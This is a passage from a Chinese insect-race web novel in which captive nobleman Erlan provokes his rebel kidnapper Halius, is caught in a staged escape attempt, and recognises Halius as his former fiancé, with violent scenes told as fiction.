昨天这间房里唯一的大床被哈琉斯所占据,厄兰只能睡在了沙发上,他双手枕在脑后,衬衫领口在辗转中松散开来,露出一片若隐若现的锁骨,俊美的面容在阴影中讳莫如深,腰际虚搭着一件做工考究的外套,边缘已经险险触到了地板。哈琉斯见状悄无声息起身,苍白骨感的双脚踩在地毯上没发出半点声响,直到冰冷的枪口抵上厄兰的太阳穴,沉睡的雄虫这才从睡梦中苏醒,条件反射睁开了双眼。 “早安,冕下。” 哈琉斯俯身靠近雄虫,周身气息冰凉,他漆黑的目光就像毒蛇一样在厄兰身上爬过,嗓音低沉玩味, “看来您昨天在我的沙发上睡得还不错?” 厄兰的瞳孔在枪管的阴影下微微收缩,但很快又舒展开来,他保持着仰躺的姿势没动,唇角微扬,然后不动声色抬手压下枪管,意有所指道:“不太妙,毕竟帮雌虫做精神安抚可是个力气活。” 哈琉斯低笑了一声,他骨节分明的指尖握住枪身,然后抵着厄兰俊美的面容缓慢下滑,语调阴森:“告诉我,是哪个狗杂种放你进来的?” “霍恩格。”枪管微微一顿。厄兰的记性很好:“是霍恩格那个狗杂种放我进来的。”他无辜望着哈琉斯,然后不经意间展示了一下自己手腕上的电子镣铐:“霍恩格说如果我不上来给你做安抚,就一枪轰碎我的脑袋。“哈琉斯垂眸扫了眼自己的肩膀,这才注意到那道原本深可见骨的伤口已经结了一层厚厚的痂,他冷冷挑眉,眼神晦暗难辨:“这么说,我应该好好感谢你了?”厄兰可以对虫神发誓,他没有从面前这只凶悍的雌虫眼里看见一丝一毫的感激,恰恰相反,只有冰冷看死虫一样的目光。 “阁下,您太客气了~” 厄兰忽然露出一抹蛊惑心神的笑意,他修长的手指轻轻握住枪管,然后慵懒直起身形,衬衫领口随着动作滑开,露出大片皮肤,那双含情的桃花眼微微弯起,声音甜得就好像在蜜罐子里泡过:“其实就算霍恩格不拿枪逼着我,我也很乐意为你效劳的,毕竟您昨天给了我食物不是吗?” “是吗,那我可真是万分荣幸。”哈琉斯语气凉凉,怎么听怎么讥讽,他唇角微勾,有一下没一下摩挲着扳机,突然十分好心的道:“或许我应该好好报答你,比如….送你一个永远离开的机会?”你确定不是永远离开这个世界吗?厄兰敏锐察觉到面前的绑匪在和自己玩文字游戏,识趣没有搭腔:“虽然自由这两个字听起来很有诱惑力,不过我还是更愿意跟在您的身边。”哈琉斯轻掀眼皮:“理由?” …. 厄兰低头,故意装出一副吞吞吐吐的模样, “我的信息素已经在你身上留下了标记,按照南部的规矩,我们应该算是伴侣了,你放心,我不是那种水性杨花的雄虫,一定会乖乖跟着你去北部的,绝不会逃跑……”“砰——!” 话未说完,哈琉斯忽然暴起,转身一脚踹开了房门,他的脸色阴沉至极,对着楼下怒吼道:“霍恩格!你他妈的给我滚上来!!” 整栋楼的反叛军都被这声怒吼吓了一跳,齐刷刷抬头看向楼上,可惜霍恩格并不在楼下,餐桌边只剩那名戴着白色哭脸面具的首领,他翘着二郎腿身形后倾,导致椅子和地面呈现一个四十五度的斜角,颇有些看好戏的意味:“嘿,别那么大火气,霍恩格一大清早就出去采买物资了,还没回来呢。” 吼的这么大声,看来伤势已经恢复得差不多了,SSS级的雄虫果然不同凡响啊。 哈琉斯站在二楼栏杆处,指节捏得咯咯作响,他这辈子最恨三样东西——该死的南部、虚伪做作的雄虫、以及被强行打上的标记。而厄兰,这个来自南部的、满嘴谎言的雄虫,偏偏在他身上烙下了精神印记!#雷区被踩爆了# “砰!” 哈琉斯重重一拳砸在栏杆上,猛地转身看向屋内,他锐利的目光像刀刃一样要把厄兰洞穿,生怕自己下一秒就控制不住开枪打死对方,从牙缝里硬生生挤出一句话: “给我滚下去待着!” 厄兰仿佛没有感觉到丝毫杀气,闻言顺势从沙发上起身,他步伐从容地向门口走去,却在即将下楼时突然回头,对着哈琉斯轻轻眨了下眼,嘴角勾起一抹暖昧的弧度 “阁下,有需要的话下次随时叫我哟。” 那语气亲昵得仿佛他们昨夜真的有过什么不可告虫的秘密。 哈琉斯的脸彻底黑成了锅底:“.…. 当厄兰走下楼梯时,被囚禁在角落里的南部雄虫们早已醒来,他们瑟缩着挤作一团,看向厄兰的眼神里混杂着惊惧、怀疑和一丝微妙的嫉妒。约翰昨晚的猜测显然已经在他们心中生根发芽——原来厄兰真的和那些叛军是一伙的!! “我的脸很好看吗?” 厄兰突然停下脚步,脸上的暧昧笑意瞬间消失殆尽,他垂眸轻飘飘扫视过这群昔日的同伴,一眼就看穿了他们内心的想法,慢条斯理开口: “如果各位的眼睛太闲,我可以帮你们找点事情做。” “哦~可怜的约翰阁下好像还没有虫帮忙照看呢,你们谁愿意过去?”雄虫们立刻低下头,大气都不敢喘,厄兰在南部的身份贵不可言,哪怕现在身陷囹圄,对方骨子里透出的上位者威压依旧让他们本能战栗。厄兰见状唇边勾起一抹讥议的孤瓜度,若无其事转身从餐桌上拿了两瓶营养液,他才不在乎那些虫心里是如何咒骂自己的,无能者才会那么做,而真正的强者向来是以子弹解决问题的。例如现在,他必须得想办法逃出去。 ——然后弄死缇宁那个狗杂种! 厄兰仰头灌下两瓶营养剂,喉结滚动,眼底闪过一丝显而易见的杀气。 维瑟尔在餐桌旁边坐了很久,然而面前这只雄虫好像完全把他当成了空气,他深觉自己作为绑匪的威严受到了挑衅,终于忍不住愤怒拍桌: “该死的雄虫!你把这里当你家了吗?!” 维瑟尔随手摘下那张白色哭脸面具扔到桌上,露出一张极具北部特色的野性面容,蜜糖色的皮肤,翠绿色的眼眸,脸颊两侧还纹着某种金属图腾,亚麻棕的短发因为太久没打理显得有些凌乱,凶悍的目光怎么看都比哈琉斯更适合当绑匪。“做虫质就该有做虫质的自觉,你见过谁被绑了还有资格在这里吃吃喝喝的吗?” “阁下,何必这么生气,反正我们将来迟早是一家虫,喝两瓶营养液而已,您一定不会在意的对吗?” 维瑟尔嫌恶骂道:“谁和你们这群装腔作势的南部佬是一家?!” 厄兰轻飘飘“啊”了一声,理所当然道:“你们和哈琉斯是一伙的,我和哈琉斯是一伙的,四舍五入不就是一家虫吗?毕竟我已经给他做了精神标记,将来可是要结婚的。”维瑟尔闻言控制不住面露震惊,谁?哈琉斯?面前这只雄虫该不会得了失心疯吧?! “你说什么?哈琉斯会和你结婚?!” 厄兰肯定点头:“我看的出来,他已经快爱上我了。” 维瑟尔倒抽一口冷气,感觉自己听见了世界上最荒谬的笑话:“我只看出来哈琉斯恨不得一枪崩死你!” 厄兰一本正经分析道:“你想想,他这么想打死我都忍住了没有开枪,如果这都不算爱,那什么才算?” 整栋楼突然陷入死寂,连巡逻的叛军小队都停下了脚步看向这边,维瑟尔的表情活像生吞了只苍蝇,半晌才从牙缝里挤出一句话: “…你们南部雄虫,真他妈有病!” “多谢夸奖,这恰恰证明我们很般配。” 厄兰微微一笑,恶心完维瑟尔之后就拍拍屁股离开了,回到专属自己的那把金色雕花椅上。 维瑟尔在餐桌旁愣了半晌才反应过来自己被耍了,他愤怒拍桌,猛地站起身:“你……. “维瑟尔!” 道冷冽的声音骤然从二楼传来,哈琉斯不知何时站在了栏杆旁,只见他肩上随意披着一件军装外套,隐隐露出里面缠着的白色绷带,目光危险且暗藏警告地剜了某只雄虫一眼。“都上楼。”他修长的指尖轻叩雕花栏杆,声音里带着不容置疑的命令,“立刻。” 维瑟尔不甘地瞪了厄兰一眼,却见后者翘着二郎腿,对他露出一副“你看,我说他舍不得打死我吧”的表情来,差点把他气个倒仰。 维瑟尔咬牙问道:“我们都上楼,那这群雄虫怎么办?!” 哈琉斯转身回房,冷冷扔下一句话:“都关到楼上隔间里,谁敢吵就挖掉他的舌头!” 好消息,那群劫匪疑似上楼开会,把他们都关到了一个小隔间,而且门口只有两个守卫。 坏消息,隔间和会议室只有一墙之隔,窗户都封死了。 那群雄虫显然心思活络了起来,毕竟这是一栋民居,楼层算不上高,如果撬开窗户逃出去找到小镇驻扎的军队,他们立刻就能得救了。 昏暗的光线中,不知是谁忍着急促的心跳悄声开口:“要不我们把窗户撬开逃跑吧?只要逃出这栋屋子,在大街上随便找一只虫报警,我们就能得救了。”如果换了以前他们或许会乖乖等待赎金来换,但这群叛军实在太凶残了,珍贵的雄虫说杀就杀,万一把他们带到北部就完蛋了!!还不如趁着现在拼一把。这个提议得到了大家的一致赞成,就连有几个胆子小的也被迫随大流答应了,纷纷释放出精神力包裹住那些钉子,然后小心翼翼往外拔。虫多力量大,那些木板很快就被他们轻手轻脚地取了下来,当外面的阳光透进屋内时,所有雄虫的心脏都控制不住猛烈跳动了一瞬,瞳孔骤缩,仿佛已经看见了希望的曙光。虫神啊!自从他们被绑架开始,已经有多久没见过阳光了!已经有多久没呼吸过新鲜空气了!现在好不容易重新看见,居然感动得有一种想要落泪的冲动!其中一只雄虫屏住呼吸打开窗栓,然后小心翼翼推开看向外面,发现底下是一片灌木草丛,没有任何守卫,强忍着狂喜道: “外面没有守卫,我们一个一个小心出去,千万别发出声音。” 大家纷纷激动点头,然后把隔间一张小床上的床单拆下来拧成绳子系在桌角,顺着窗框一个一个往下爬。 一个, 两个, 三个.… 他们接二连三安全落在草坪上,从头到尾都没有发出任何动静,当最后几名雄虫准备顺着窗户爬出去时,目光一转忽然发现了背靠着墙角无动于衷的厄兰,对方正低头把玩着指尖的宝石戒指,看起来对逃跑一点都不感兴趣。这群雄虫当然不敢把厄兰独自丢在这里,万一他告密了怎么办? 伍兹壮着胆子上前,压低声音恶狠狠道:“你先下去,敢耍什么花招别怪我不客气!” 就连另外两名雄虫也冷冷盯着他,警告意味相当明显,毕竟厄兰就算等级再高也只对安抚雌虫有用,真打起架来还是得看拳头,他们三个打一个,完全占据压倒性优势。 厄兰眼皮子都懒得掀,漫不经心对戒指吹了口气:“你们要跑就赶紧跑,我没兴趣告密,同样的,你们最好也别惹我。” 这群蠢货,真拿叛军当傻子了,用头发丝想都知道底下八成有埋伏,他才懒得掺和。 伍兹算是里面比较有头脑的雄虫,非到万不得已他并不想得罪厄兰,就算动手打架也会发出声音,所以最好的办法就是把厄兰拉到他们的阵营,压低声音劝说道 “厄兰,我们都跑了,你视而不见也是包庇,回头那群叛军万一追责起来,你也逃不掉,反而会成为他们的出气筒。” …. “你想想,我们这么多虫一起跑,就算被抓住了也法不责众,叛军总不可能把我们都杀了吧?但如果我们真的逃出去了,那就是千值万值,你难道就不想早点回到南部吗?”. … 厄兰缓缓抬头看向伍兹,终于不玩戒指了,因为他惊讶发现对方说的居然很有道理。 对他来说回不回南部倒是其次,重要的是出去之后他可以提前找到缇宁那个狗杂碎,然后neng死对方! 这么一想,赌一把好像也不是不行? 厄兰什么都没说,而是以实际行动证明,只见他扯了扯床单测试牢固性,然后利落踩上窗台就要顺着爬下去,谁料一条通体漆黑的小蛇不知何时出现在了他的肩头,嘶嘶吞吐着蛇信,低沉的声音难掩警告: 【你不想活了?!居然敢逃跑?!】 黑蛇现在一点都不希望厄兰这货逃出去,因为对方出去之后一定会想方设法弄死缇宁,好歹也得拖延时间等缇宁的伤恢复好了再说。 厄兰闻言动作一顿,单纯眨了眨眼:“你不是可以无限次复活我吗?死了就死了,大不了再重来呗。” 空气瞬间陷入了寂静。 【???】 黑蛇缓缓看向厄兰,三秒后,尾巴“啪”一声抽在了他的后脑勺上,咆哮怒吼道: 【你在想屁吃!!信不信我现在就弄死你!!】 195-204 195、你们为什么要结婚 厄兰把床单拧成的绳子拽紧,直接借力跃到了一楼,俗话说的好,三分天注定,七分靠打拼,虽然逃出去的希望很渺茫,但并不等于完全没有,万一赌赢了呢? 伍兹他们见厄兰已经下去,连忙紧随其后,当这群雄虫小心翼翼弓着腰身爬出灌木丛,像受惊的鹌鹑四处寻找出口时,头顶上方忽然传来一声轻响。 “咔哒。” 这道声音很轻,轻到甚至可以忽略不计,就连踩断一根树枝发出的动静都比这个大。 厄兰却觉得这道声音极其耳熟,好像在哪里听过,猛地顿住了脚步。 “发什么呆?还不快走!” 伍兹跟在厄兰后面,差点撞上他的后背,忍不住低声呵斥了一句,却在对方转身的刹那猝不及防对上一双似笑非笑的眼睛,厄兰望着他,没由来叹了口气,面带同情地吐出两个字:"抱歉。" 伍兹一头雾水:“抱歉?抱什么…… “砰!” 话音未落,厄兰骤然抬腿,一脚狠狠踹在伍兹屁股上,后者猝不及防摔了个狗吃屎,直接脸朝下栽进泥里,还没反应过来,他的双臂就被厄兰反剪到背后,死死扣住关节。 “还想跑?”厄兰擒住他,声音冰冷,“这下被我抓到了吧!” 伍兹:“???” 伍兹艰难扭过脖子,所有咒骂却瞬间堵在喉咙口— 只见二楼窗口不知何时出现了一抹修长的身影,哈琉斯这位叛军首领正懒懒倚着窗框,居高临下看向他们,唇边带着一抹毛骨悚然的笑意,他修长的手指把玩着一把漆黑的手枪,漫不经心拨弄金属部件,发出极具节奏感的碰撞声。“咔哒。”“咔哒。” 每一声都精准踩在所有雄虫的心脏上。 伍兹瞬间惊恐瞪大双眼,内心发出尖锐爆鸣:妈啊啊啊可啊可啊啊!!这个活阎王到底什么时候过来的?!!!! “跑啊——!” 不知是谁先喊出了声,原本呆若木鸡的雄虫们顿时炸开了锅,他们像一群无头苍蝇般四散奔逃,有几个甚至慌不择路地撞在了一起,发出“咚咚”的闷响。 “别挤我!” “让开!” 混乱中,一只雄虫趁乱悄悄躲进最近的树丛,但没想到树影里突然伸出一只戴着黑色作战手套的手,精准掐住了他的喉咙。 “想去哪儿?” 一道玩味的声音冷不J从耳畔响起,只见原本出去买物资的霍恩格居然从树影后面慢悠悠走了出来,他的脸上仍戴着那个红色笑脸面具,在阳光照耀下泛着诡异的色泽。 其余埋伏在树上的叛军见状也纷纷现身,接二连三跃下树梢,他们手中黑洞洞的枪口泛着冷光,尽数对准这群试图逃跑的雄虫,然后不紧不慢收紧包围圈,就像狼群在狩猎。 逃跑的雄虫们见状顿时吓麻了头皮,有几个胆子小的甚至已经瘫软在地,痛哭流涕摆手道:“别、别开枪……·求求你们别开枪……” 哈琉斯见状终于从窗口直起身,他的目光扫过底下面如土色的雄虫,活像在清点待宰羔羊,慢悠悠叹了口气,难掩失望: “各位尊贵的阁下,不得不说,这场游戏真是令虫失望,我还以为你们能玩得更久一些……. 他把枪口对准底下那群黑压压的雄虫,无声做了个“砰~”的口型, “但现在,游戏刚开始就结束了。” 很明显,这群叛军是故意放出漏洞的,纯粹是为了逗他们玩,说不定他们刚才就坐在隔壁房间的监控屏幕前,像看戏一样欣赏着雄虫拙劣的逃生表演,不过因为厄兰突兀的举动,游戏被迫终止了。 “哎呀呀,让我看看到底是哪些小可爱想逃跑~” 维瑟尔这个家伙居然也在楼下,他把那张白色面具掀到头顶,唇边满是恶劣的笑意,因为看厄兰不顺眼,所以最先拿他开刀,用枪抵住了他的后背肩胛骨,故意用一种夸张的语调道: “这不是马上就要和我们首领结婚的厄兰冕下吗?怎么,你也想和这群废物一起逃跑?该不会是……嫌弃我们首领吧?” 谣言是怎么产生的?就是这么产生的。 这句话一出,不止是那些吓破胆的雄虫,就连叛军也纷纷惊讶看了过来:这只南部雄虫要和他们首领结婚了?什么时候的事儿?! 霍恩格觉得自己只是出去采买了一趟物资而已,情况怎么忽然发生了翻天覆地的变化,探着脑袋问道:“什么什么?他要和哈琉斯结婚?” 厄兰是打死也不会承认的,眉梢轻挑:“你哪只眼睛看见我想逃跑了?” 维瑟尔着重强调:“我两只眼睛都看见了。” “是吗?”厄兰不慌不忙道,“那您的虫眼可不太好使,我只是看见他们想逃跑,所以跟着出来帮忙抓虫而已,你说是不是伍兹?” 伍兹:“.… 如果现在能动弹,伍兹一定会大骂“是你个虫屎脑袋”,但他不敢,所以只能用悲愤屈辱的目光狠狠瞪了厄兰一眼。 维瑟尔冷笑:“谁知道你们这群南部佬是不是在故意串通演戏。” 他话音刚落,像是意识到什么似的,脑子忽然好使起来:“这么说你承认嫌弃我们首领了?!” 霍恩格不解问道:“他们两个到底为什么要结婚?!!” 厄兰闻言直接松开伍兹丢到一旁,然后优雅掸了掸袖口的浮灰,伸出一根手指在眼前轻晃:“不不不~这句话可不能乱说,虽然你们首领要编制没编制,要房产没房产,还荣登了星网通缉令,但我一定不会嫌弃他的,毕竟俗话说的好,嫁鸡随鸡,嫁狗随狗嘛。” 他语罢抬头看向二楼窗口,笑着轻眨了一下眼睛,明明是一双风流矜贵的桃花眼,却偏偏像狐狸眼一样带着钩子:“亲爱的,你说是不是?” 哈琉斯:“.… 二楼的叛军首领面无表情用舌尖舔了舔腮帮子,突然抬手对着楼下就是“砰砰砰”三枪,子弹精准地擦着厄兰和维瑟尔的耳畔飞过,在地面上炸开三个整齐的弹孔,震得耳朵嗡嗡作响。 “说的很有道理。” 哈琉斯慢条斯理开口,枪口还冒着青烟,他居高临下望着厄兰,目光阴鸷冰冷,对维瑟尔淡淡吩咐道, “把他带上来,我倒要看看他割了舌头是不是还这么伶牙俐齿。” 语罢直接转身离开了窗口。 厄兰:“.…自己是不是玩脱了? 维瑟尔见厄兰不说话,以为他吓傻了,幸灾乐祸道:“你完蛋了。” 厄兰用看傻子的目光看了他一眼:“你不懂,打是亲骂是爱,他这样做只能证明他真的很爱我。” 维瑟尔:“???” 厄兰:“我只准哈琉斯割我的舌头,你们谁也不许碰。” 维瑟尔:“???” 霍恩格艰难挤到他们两个中间:“你们谁能告诉我昨天发生了什么?为什么哈琉斯要和你结婚?”. … 没有虫理他,维瑟尔直接带着部下把那群逃跑的雄虫押送到了一楼,然后挨个在他们每只虫屁股后面狠踹了一脚,只听一串“噗通噗通”的声音响起,那群雄虫全都哀嚎着摔在了地上。 维瑟尔抬脚,正准备踹向厄兰,对方却忽然回头看向他:“除了哈琉斯你们谁都不准踹我的屁股!” 维瑟尔:“……. 维瑟尔的脚悬在半空,力道没收回去差点摔个狗吃屎,厄兰则趁机溜到了一边,他看似一副若无其事的姿态,实则暗中在和措斯姆聊天。 “臭蛇,我们打个商量怎么样?” 黑蛇的幸灾乐祸比起维瑟尔有过之而无不及:【想让我复活你?休想,死了就死了,还能当肥料。】 厄兰却道:“我没指望你能复活我。” 黑蛇尾巴尖一顿:【嗯?那你想做什么?】 厄兰眼巴巴望着他:“等会儿我舌头万一被割了,你能帮我恢复一下吗?这个应该比复活容易吧?毕竟舌头就那么一点肉。” 黑蛇嗤笑:【你就那么确定他会割掉你的舌头?】 厄兰:“我嘴巴那么贱,他忍了好几天,现在肯定忍不住了。” 黑蛇:【……】妈的,你还挺有自知之明。 黑蛇最终也没有给出答复。 因为就在这电光火石的瞬间,一名叛军突然从队列中粗暴地拽出一只雄虫,那只雄虫被揪着头发拖行而出,像破布般被甩在地上,发出沉重的闷响。 “不!不要杀我!求求你们——” 雄虫歇斯底里的哭嚎十分难听,直到冰冷的枪管猝然塞进他大张的嘴里,所有的声音瞬间戛然而止。 哈琉斯缓缓蹲下身,灯光在他轮廓分明的侧脸投下锋利的阴影,他握住枪管的手漠然而又残忍,一寸寸往雄虫喉咙深处推去,牙齿与金属枪身摩擦发出令人牙酸的咯吱声,间或夹杂着撕心裂肺的干呕,把四周所有雄虫都吓得噤若寒蝉。 “吵死了。” 哈琉斯冷冷开口,他盯着眼前这只狼狈张大嘴巴的雄虫,轻飘飘的语气就像毒蛇爬过皮肤,寒意直接钻进了毛孔。 “听说刚才是你最先提出要逃跑的?” 雄虫被迫张大嘴巴,神情惊恐,半个字都吐不出来,只能发出一阵又一阵撕心裂肺的干呕。 哈琉斯忽然失去了兴趣,他懒领懒赖站起身,一脚把雄虫踹了个底朝天,连沾了口水的枪都没要,直接卸去弹匣扔到了地上,对一旁的霍恩格漠然吩咐道: “砍断他两根指头。” 倒在地上的雄虫捂着喉咙一个劲咳嗽不止,他原本以为哈琉斯打算放过自己了,没想到居然想砍断自己的两根手指头,当即惊恐后退,眼泪鼻涕口水糊了一脸:“不!不要!不要砍断我的手呜呜呜!逃跑他们也有份的!不是我全责!” 霍恩格却不听这些,他左右活动了一下脖子,然后直接把这只雄虫的右手拽过来踩在桌子上,黑色的军靴边缘冷硬,就像巨石般压得雄虫动弹不得,他前溃大喊 “你敢!!你砍了我的手指我一定会让你付出代价的!!你知不知道我的雌父是谁?!等他找过来我要把你们全部砍成肉酱!!” 霍恩格不耐烦地“啧”了一声,直接抬手摘下面罩,灰蓝色短发随着他歪头的动作滑落几缕,肤色居然出乎意料的白皙:“莱昂阁下,这里可是叛军窝,而不是休顿总检察长说了算的议法厅…… 他一边说,一边行云流水地从靴筒里抽出匕首,然后毫不犹豫对准雄虫的手指切了下去,在对方撕心裂肺的惨叫声中森冷开口, “无论你做了多少违法乱纪的事,都能得到包庇。” 莱昂已经痛得神智不清了,他捂着伤口痛苦蜷缩在地上,冷汗涔涔下落,视线模糊得只能看清霍恩格那双灰色的眼睛 多么熟悉啊。 他从前娶了一名雌侍,对方好像也有一双这样的灰色眼睛,后来他玩腻了想扔给同伴,那名军雌不肯,挣扎间还误伤了自己,最后被军事法庭判定三百光鞭,并且流放荒星,因为环境恶劣,中途就病死了。 他……他是不是有一个弟弟来着? 莱昂浑身哆嗦:“你和米亚是什么关系?” 霍恩格不答,而是对他笑了笑:“阁下,别着急,我们相处的日子还长,后面你就会慢慢知道了,毕竟……您还剩八根指头呢。” 莱昂闻言也不知是被吓到了还是失血过多,眼睛一翻直接昏死过去了,两名叛军上来直接把他拖走和约翰扔到了一起,然后熟练清洗血迹,在空气中狂喷稀释剂。 厄兰站在后方,目光不动声色在霍恩格和哈琉斯之间来回打量,那枚相同的叛国者烙印就像一条无形的锁链,将这群亡命之徒牢牢捆在一起,却不知钥匙在谁的手中。 “你过来。” 旁边好像有谁在说话。 “你,过来。” 管他呢,反正不关自己的事,他既不是领头的也不是…… “厄兰.维多冕下,需要我亲自来请你吗?” 一双黑色的军靴忽然出现在视线内,厄兰瞳孔收缩,这才惊觉事情不妙,他一抬头就发现屋子里所有虫都在盯着自己看,原来哈琉斯刚才在喊自己. “冕下,我实在是不得不佩服您的勇气,在这种情况下居然还敢走神?” 哈琉斯用一把崭新的配枪缓缓挑起了雄虫的下巴,枪身上华丽的暗纹和对方这张得天独厚的容貌相得益彰,真是天生的祸水。 完了完了,厄兰心想自己的舌头该不会保不住了,他稍感不安,唇边却扬起一抹无辜的笑意,不动声色后退几步,语气甜得像蜜糖:“亲爱的,我可没有主动逃跑,你千万不要被某些虫挑拨离间了。” 他想了想,又补充道:“我也没有徇私枉法虐待雌虫。” 是的,厄兰绞尽脑汁想了一遍,发现他确实没有前科。 南部的上流贵族之间很流行互相交换雌侍虐玩,不过厄兰自持甚高,觉得这种事不符合贵族风范,所以从来都不屑去做,可以说他除了花钱大手大脚一些、嘴巴毒舌了一点,基本上没什么黑历史……吧?哈琉斯玩味盯着他,一言不发。 厄兰每后退一步,他的军靴就慢条斯理上前步,直到后者抵住墙壁,退无可退,这才发出一声嗤笑,用冰冷的枪身拍了拍他的脸颊: “哦~我当然知道您没有了,高高在上的厄兰冕下怎么会去做那种肮脏不入流的事呢?” 他声音很轻,带着几许讥讽,几许轻蔑, “您这双高高在上的眼睛,到底看得见谁呢?” 196、旧情难忘 这场逃跑风波最终以莱昂的两根手指做为代价惨烈收场。 夜幕降临后,所有雄虫都被关进了地下储藏室,里面光线昏暗,空气中弥漫着潮湿腐朽的霉味,唯一的出口就是上方那道厚重的木板。 看守的叛军持枪在上面来回走动,军靴踏过木板发出沉闷的“嘎吱”声,每一步都像是踩在大脑脆弱的神经上,稍有不慎就会断裂开来。 雄虫们瑟缩在角落,连呼吸都不敢大声,莱昂断指时的惨叫仍萦绕在耳边,俨然已经成为了他们今天晚上的噩梦素材,就连伍兹都没什么心思找厄兰算账,惴惴不安地靠着墙壁祈求虫神,保佑他们早点逃出去。 厄兰坐在另外一边的角落,安静得有些不同寻常。 事实上他一直在脑海里琢磨哈琉斯今天那句意味深长的话- “您这双高高在上的眼睛,到底看得见谁呢?“ 什么意思? 他们以前认识吗? 这句话的内容其实并不重要,重要的是背后潜藏的含义,就好像他们曾经见过面。 但厄兰确定自己真的没见过哈琉斯,他的记性虽然差劲,但也不至于差到这个地步,以至于搜肠刮肚半天都没想出结果,直到困意如潮水般把他淹没,这个问题依旧没得到解答。 翌日清早,所有雄虫是在一阵巨响中被惊醒的,只见储藏室上方的木板陡然被一名叛军掀开,“砰”地砸在地上,对方居高临下站在洞口上方,用手中的枪管指着他们示意,冷冷吐出一句话: “全都出来!” 不安涌上心头,这群叛军实在太过反复无常,谁也猜不到他们下一秒会做些什么,但昨天的逃跑事件已经收拾了莱昂,按理说不会再拿他们开刀。 那群雄虫纷纷起身,胆战心惊地顺着楼梯爬了上去,厄兰见状拍拍屁股从地上站起来,也跟着爬出了这个阴暗潮湿的储藏室。 在昏暗的环境待得太久,骤然见到光亮难免有些刺眼。 依旧是那个昏暗的客厅,却不见哈琉斯他们,只有霍恩格翘着二郎腿坐在沙发上看星网新闻,手里拿着一个苹果啃得咔嚓咔嚓响。那群饥饿已久的雄虫见状嘴里控制不住疯狂分泌口水,要知道他们自从被绑架之后,每天最多只能分到一块干巴巴的压缩饼干,别说水果了,连营养剂都没得喝。 霍恩格注意到他们“饥渴”的视线,挥手示意,立刻就有一名叛军拎着物资箱过来,然后给他们每只虫怀里扔了两支营养液。 “各位阁下,慢慢享用。”霍恩格笑容灿烂,眼底却闪烁着恶劣的光,“逃跑可是个体力活,别饿着肚子折腾。” 别怀疑,他就是在阴阳怪气。 厄兰斜倚着墙壁,心不在焉拧开营养剂的盖子,思绪仍沉浸在昨夜的谜团里,他正准备喝下营养剂,忽然察觉到一道灼热的视线,结果一抬眼就见霍恩格饶有兴趣盯着自己,对方拍了拍旁边的沙发示意他坐过去,眼睛亮亮的,脸上写满了“我想听八卦”这五个大字。厄兰:.… 行吧,不坐白不坐。 厄兰眉梢轻挑,站直身形走了过去,然后顺手从盘子里薅了一个苹果,他找了个单独的靠背沙发坐上去,姿态闲适慵懒:“阁下,你想问些什么?” 霍恩格顶着两个黑眼圈凑近他,为了这个问题他一晚上都没睡:“你为什么要和哈琉斯结婚?” 厄兰有一下没一下轻抛着苹果,唇角微扬:“我为什么不能和他结婚?” 霍恩格困惑皱眉:“可你们不是早都解除婚约了吗?” 这下愣住的虫变成了厄兰,他闻言动作一顿,苹果轱辘滚到了地上,缓缓转头看向霍恩格,眼底打出一个清晰的问号:“?” 解除婚约? 他什么时候和哈琉斯订婚了?? 他的末婚夫难道不是缇宁…… 提起“未婚夫”这三个字,电光火石间,厄兰的脑海中忽然闪过了什么东西,惊得他“嗖”一声从沙发上站了起来,瞳孔骤缩— 他想起来了! 他终于想起来自己在哪里见过哈琉斯了! 四年前,雌父和雄父曾为他物色过一位匹配度极高的军雌,据说那位少将战功赫赫,年纪轻轻便跻身军部高层,容貌更是出类拔萃,除了家世稍逊,几乎无可挑剔。 不过因为对方当时在前方战场,所以一直没有见过面,而厄兰对自己的婚事始终抱着一种无谓的态度,毕竟从小到大帝国给他匹配的军雌没有一千也有八百了,在得知对方脸蛋长得不错,匆匆瞥了眼照片就抛之脑后,连名字都没记住。 从脑海着中艰难翻找出模糊褪色的记忆,照片上的军雌面容清冷锐利,身着笔挺的白金色军装,及腰长发如银河倾泻,那双紫罗兰色的眼眸微微垂着,却遮不住骨子里透出的傲气——那是真正在战场上淬炼出的锋芒。 后来呢? 后来战报传来,说那位少将似乎触犯了帝国律法被革职送上军事法庭,雌父惋惜地提起解除婚约时,他正坐在沙发上翻看奢侈品杂志,闻言只是懒懒“嗯”了一声,窗外雨幕如织,把庭院里精心培育的玫瑰打得七零八落。理所当然的,他又换了一个新的未婚夫,也就是缇宁。 厄兰从来没有把哈琉斯和自己的前前任未婚夫联系在一起过,对方那头及腰的银发已经剪成了利落的短发,侧脸烙上了这辈子都抹不掉的叛国烙印,紫色的眼眸再不见宝石般的剔透瑰丽,只有无边无际的阴郁戾气。 还有那些交错纵横的伤口,足够把一个前途光明的少将变得面目全非。 厄兰看似想了很久,实则只过了短短一瞬,他慢半拍坐回沙发上,压下心中翻涌的情绪,面上已经恢复了平静,然后重新从果盘里拿了一个苹果,“咔嚓”咬了一口。 霍恩格不悦道:“嘿,你还没告诉我你为什么要和哈琉斯结婚呢。” 侧脸如出一辙的烙印证明了他和哈琉斯一样都来自南部,而且关系密切,否则绝不会知道他们曾经有过婚约— 哦,或许这压根就不是什么秘密,或许当时整个南部都知道他们最为尊贵的厄兰冕下和一只名叫哈琉斯的雌虫订了婚。 没意识到的只有厄兰而已 他站在云端太久,早已习惯了众星捧月,那些炽热的爱意环绕在他周身,多到令虫厌倦,每只军雌望向他的眼神都如出一辙:渴慕的、卑微的、灼热的,久而久之,连“爱”这个字眼都变得廉价。 哈琉斯说的对。 他高高在上的眼睛确实没把谁看在眼里过,否则怎么连前任未婚夫都认不出来。 这对厄兰来说是个有些微妙的消息,好的一面是,他终于和这个叛军头领有了点可以称之为“过往”的牵绊,这对将来的逃跑计划或许有利,不妙的是,他完全不确定对方是否怀恨在心。 如果真的这样,那事情就棘手了。 “因为我对他旧情难忘。” 厄兰终于偏头看向霍恩格,吐出这个令虫惊诧的答案。 他语罢似乎是觉得这个借口不错,颇为满意地点了点头,修长的指尖把玩着那个红艳艳的苹果,浅紫色的眼眸氤氲着蛊惑心神的笑意,明明是凉薄的性格,却总是可以装出一往情深的错觉,眉心微蹙,声音低低, “其实我对缇宁没有任何感觉,当初如果不是帝国强行匹配,我根本不会和他订婚的。” “现在能和哈琉斯见面,我实在太高兴了。” 霍恩格的表情顿时扭曲了一瞬。 这可不是他想听的八卦。 见鬼去吧,雄虫居然也会有“旧情难忘”这种玩意儿? 他正准备说些什么,楼上忽然传来一阵细碎的脚步声,只见大概五六名带着面具的叛军首领陆陆续续从房间走了下来,军靴踩在木质楼梯上发出不堪重负的吱呀声响。 